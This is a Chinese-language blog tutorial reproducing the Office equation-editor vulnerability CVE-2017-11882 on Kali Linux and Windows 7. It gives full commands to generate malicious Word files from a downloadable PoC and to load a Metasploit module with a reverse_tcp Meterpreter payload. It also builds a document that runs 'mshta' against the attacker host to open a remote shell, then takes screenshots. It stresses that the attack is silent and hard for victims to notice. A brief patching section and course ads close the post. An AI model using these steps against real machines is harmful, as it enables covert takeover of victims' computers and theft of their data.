1. 程式人生 > >[漏洞復現] CVE-2017-11882 通殺所有office版本

[漏洞復現] CVE-2017-11882 通殺所有office版本

CVE-2017-11882 office漏洞 黑客 Kali Linux 滲透測試

技術分享圖片


1、漏洞概述

這幾個月來,針對微軟Office套件最火熱最流行的攻擊手段,莫過於基於CVE-2017-11882的漏洞利用。

2017年11月14號,微軟推送了常規的安全更新,其中,關於CVE-2017-11882的安全更新引起了圈裏的關註,隨之而來的,便是針對此漏洞的POC攻擊代碼被逐漸公開。各路大神在Twitter和Github上相繼公布自己的POC及對應的漏洞利用姿勢,將這股烈火蔓延到2018年。

為什麽這個漏洞會引起這麽大的關註度呢?

從漏洞利用效果來看,它可以通殺Office 2003到2016的所有版本,並且整個攻擊環境的構建非常簡單,姿勢又非常“優雅”。例如,有些攻擊效果會出現彈框,會出現CPU飆高,會發生異常等等,而這個漏洞的利用效果,堪稱“無色無味”。在後續實驗過程中,大家可以自行體會。

更重要的是,這枚“通殺型”的Office高危漏洞,其實已經潛伏了17年之久,直到近幾個月才被發現並低調修復……

那麽,這個漏洞是怎麽回事呢?簡單來說:

此漏洞是由Office軟件裏面的 [公式編輯器] 造成的,由於編輯器進程沒有對名稱長度進行校驗,導致緩沖區溢出,攻擊者通過構造特殊的字符,可以實現任意代碼執行。

舉個例子,如果黑客利用這個漏洞,構造帶有shell後門的office文件,當普通用戶打開這個office文件,則電腦可以被黑客直接控制。

影響版本:
office 2003
office 2007
office 2010
office 2013
office 2016

2、漏洞復現環境

Kali Linux 2017.03 + Windows 7 + Office 2016


滲透機:Kali Linux + POC代碼
靶機:Win7 + Office 2016

註:為了節省大家實驗時間,我將此實驗涉及到的工具全部上傳到網盤。

鏈接:https://pan.baidu.com/s/17rrYP33Nv2-dNxS7wc1foA 密碼:nbw2

3、實驗流程

①下載office 2016
直接上msdn.itellyou.cn下載office 2016

技術分享圖片

種子鏈接:ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/



②安裝office 2016


在Win7靶機中,安裝office 2016套件,這裏需要一些時間,大家也可以用其他windows和office版本來測試。

技術分享圖片


③下載POC代碼
Github上有很多大神分享針對這個漏洞的POC代碼,但測試過程中,發現有些驗證效果不出來,有些驗證過程太復雜。
建議大家直接將我網盤分享的CVE-2017-11882文件夾下載下來,放到Kali Linux滲透機桌面。如下:

技術分享圖片

④進入shell終端,使用POC代碼生成特殊改造的word文件

進入POC代碼目錄
root@kali:~/Desktop# cd CVE-2017-11882

查看文件
root@kali:~/Desktop/CVE-2017-11882# ls

生成word文檔11882.doc,打開doc文件之後,會彈出計算器(以此驗證offce漏洞)
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc

生成word文檔11882.doc,打開doc文件之後,會彈出任務管理器(以此驗證offce漏洞)
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc

再次查看,可以看到多了兩個doc文件
root@kali:~/Desktop/CVE-2017-11882# ls

技術分享圖片

⑤將文件拷貝到Win7靶機上,並驗證效果

技術分享圖片

使用Word 2016打開第一個文件-11882.doc文件,查看效果:

技術分享圖片

使用Word 2016打開第二個文件-11882-2.doc文件,查看效果:

技術分享圖片

可以看到,由於Office2016存在CVE-2017-11882漏洞,當打開特殊構造的word文件時,windows會執行其他動作。既然此漏洞能夠造成win系統執行其他動作,那麽,是否順便可以反彈會話,直接被滲透機控制呢?答案是肯定的。接下來我們來做進一步的驗證。


⑥在Kali Linux上構造帶有shell後門的word文件,並開啟監聽

首先,為了後續更好的管理和使用滲透代碼,可以將網盤中下載的代碼”shell.rb”,名稱修改為“cve-2017-11886.rb”

技術分享圖片

將CVE-2017-11882.rb拷貝到metasploit目錄中,這裏拷貝到目錄/usr/share/metasploit-framework/modules/exploits/windows/smb

root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/Desktop/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# ls


技術分享圖片


進入Metasploit框架,搜索CVE-2017-11882:

root@kali:~# msfconsole
msf > search CVE-2017-11882


技術分享圖片

使用CVE-2017-11882.rb模塊,開啟Meterpreter監聽會話:

使用模塊
msf > use exploit/windows/smb/CVE-2017-11882
設置tcp反彈會話
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
設置滲透機ip地址(這裏通過ifconfig命令查看)
msf exploit(CVE-2017-11882) > set lhost 172.16.70.216
設置路徑為11882,可自定義
msf exploit(CVE-2017-11882) > set uripath 11882
開啟滲透,進入監聽狀態
msf exploit(CVE-2017-11882) > exploit

技術分享圖片


使用CVE-2017-11882.py模塊,生成帶有shell的doc文件:

root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://172.16.70.216:8080/11882" -o 11882-3.doc

此時,CVE-2017-11882目錄中增加了另外一個word文件11882-3,而此文件的功能便是:打開它的電腦會反彈shell會話到控制機

技術分享圖片


將文件11882-3.doc拷貝到靶機win7上面:

技術分享圖片


在Win7打開11882-3.doc文件,此時觀察Win7靶機和Kali Linux滲透機
註:做這個實驗之前,首先要求滲透機Kali Linux和靶機Win7能夠聯通,例如在我的虛擬環境中,Kali Linux的ip地址是172.16.70.216,而Win7的地址是172.16.70.144,兩個虛擬機采用NAT網卡模式。

技術分享圖片

當靶機打開文件時,整個過程沒有任何彈框,也沒有其他異常動作,整個攻擊效果非常“優雅”,肉雞很難發現。
此時,在另一段的Kali Linux滲透機,已經獲取到shell會話。

技術分享圖片

通過命令sessions查看meterpreter會話:

msf exploit(CVE-2017-11882) > sessions

技術分享圖片


此後便可以通過meterpreter來對會話進行管理:

進入會話
msf exploit(CVE-2017-11882) > sessions 1
查看系統信息
meterpreter > sysinfo
查看當前用戶
meterpreter > getuid
截屏
meterpreter > screenshot

技術分享圖片

技術分享圖片


可以看到,安裝了最新office 2016版本的win7,因為CVE-2017-11882漏洞,當打開帶有shell後門的doc文件時,kali滲透機可以獲取到完美的後門並控制win7。

4、漏洞修復

①在線更新;開啟Windows Update更新,這種方式對於大部分人來說就夠了。
②打補丁;此漏洞對應的微軟補丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882


=====================

【職位套餐】

①《CCIE魔鬼訓練營套餐》:零基礎到CCIE網絡安全專家,包含CCNA/CCNP/CCIE不同等級的課程內容,涉及R&S、ISP、Security、滲透測試等課程內容,行業最經典,優惠幅度最大。課程鏈接:http://edu.51cto.com/pack/view/id-255.html

②《Web安全工程師》:掌握Web漏洞掃描、信息探測、SQL註入、文件上傳、Webshell木馬、遠程執行、XSS跨站腳本攻擊、CSRF跨站請求偽造等核心技能。課程鏈接:http://edu.51cto.com/topic/1181.html

③《高級Web安全工程師》:掌握Python編程、Web開發(Django)、Web安全,通往高級Web安全工程師。課程鏈接:http://edu.51cto.com/topic/1183.html


[漏洞復現] CVE-2017-11882 通殺所有office版本